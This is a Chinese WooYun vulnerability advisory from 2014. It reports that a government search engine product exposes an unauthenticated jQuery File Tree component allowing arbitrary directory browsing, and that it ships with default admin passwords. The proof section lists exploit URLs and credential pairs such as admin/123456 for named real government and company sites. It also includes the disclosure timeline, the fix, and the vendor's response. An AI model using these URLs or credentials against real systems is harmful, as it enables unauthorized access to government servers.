当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-071256

漏洞标题：某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令

相关厂商：中科汇联

漏洞作者： loli

提交时间：2014-08-06 16:39

修复时间：2014-11-04 16:40

公开时间：2014-11-04 16:40

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-06： 细节已通知厂商并且等待厂商处理中
2014-08-11： 厂商已经确认，细节仅向厂商公开
2014-08-14： 细节向第三方安全合作伙伴开放
2014-10-05： 细节向核心白帽子及相关领域专家公开
2014-10-15： 细节向普通白帽子公开
2014-10-25： 细节向实习白帽子公开
2014-11-04： 细节向公众公开

简要描述：

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令；

详细说明：

爱觅桔智能搜索引擎是中科汇联自主研发的“提供知识的搜索引擎”,首创知识图谱关联、百姓体匹配、智能引导、自定义框计算等特色搜索服务功能,采用语义理解技术、机器学习技术,实现智能搜索、文档搜索、多媒体搜索功能。


漏洞一：第三方组件调用未进行授权访问
网站调用了jquery 显示本地文件的插件
jQuery File Tree：
文件分别为
jquery.js (jquery核心库)
jqueryFileTree.js （jqueryFileTree核心库）
jqueryFileTree.jsp （用于JavaScript和jsp的连接，添加列表元素等操作）
jqueryFileTree.css 

http://114.251.1.141:8080/dig/codebase/jqueryFileTree.jsp?dir=d:/  (查看源文件)
http://114.251.1.141:8080/dig/pages/crawl/test.jsp?r=d:/


test.png


漏洞一：后台存在默认口令
admin 123456
mengfx 123456
liuzp 123456
登陆地址：

http://www.xxx.cn/dig/login.jsp


test1.png


test2.png

漏洞证明：

海关总署    （弱口令 mengfx 123456）
http://search.customs.gov.cn/dig/pages/crawl/test.jsp?r=D%3A%5C
深圳南山GOV在线
http://www.szns.gov.cn/dig/pages/crawl/test.jsp?r=/
上海青浦GOV
http://search.shqp.gov.cn/dig/pages/crawl/test.jsp?r=/
国家博物馆（弱口令admin 123456）
http://114.255.205.162/dig/login.jsp
莆田出入境检验检疫局（弱口令 mengfx 123456）
http://www.fjciq.gov.cn/dig/login.jsp
河北GOV在线（弱口令 mengfx 123456）
http://218.12.44.18/dig/login.jsp
中华保险  （弱口令admin 123456）
http://114.251.1.141:8080/dig/pages/crawl/test.jsp?r=D:/    
北京国土资源局  
http://search.bjgtj.gov.cn/dig/login.jsp  （弱口令admin 123456）
深圳光明GOV
http://www.szgm.gov.cn/dig/login.jsp     弱口令admin 123456
天阳集团
http://www.tansun.com.cn/dig/login.jsp  弱口令admin 123456

修复方案：

对第三方插件进行授权访问，修改默认口令。

版权声明：转载请注明来源 loli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-08-11 10:08

厂商回复：

CNVD确认并复现所述情况，已经由CNVD直接联系上软件生产厂商，厂商响应及时迅速，已经拟定修复方案并将做好用户的应急响应工作。

最新状态：

暂无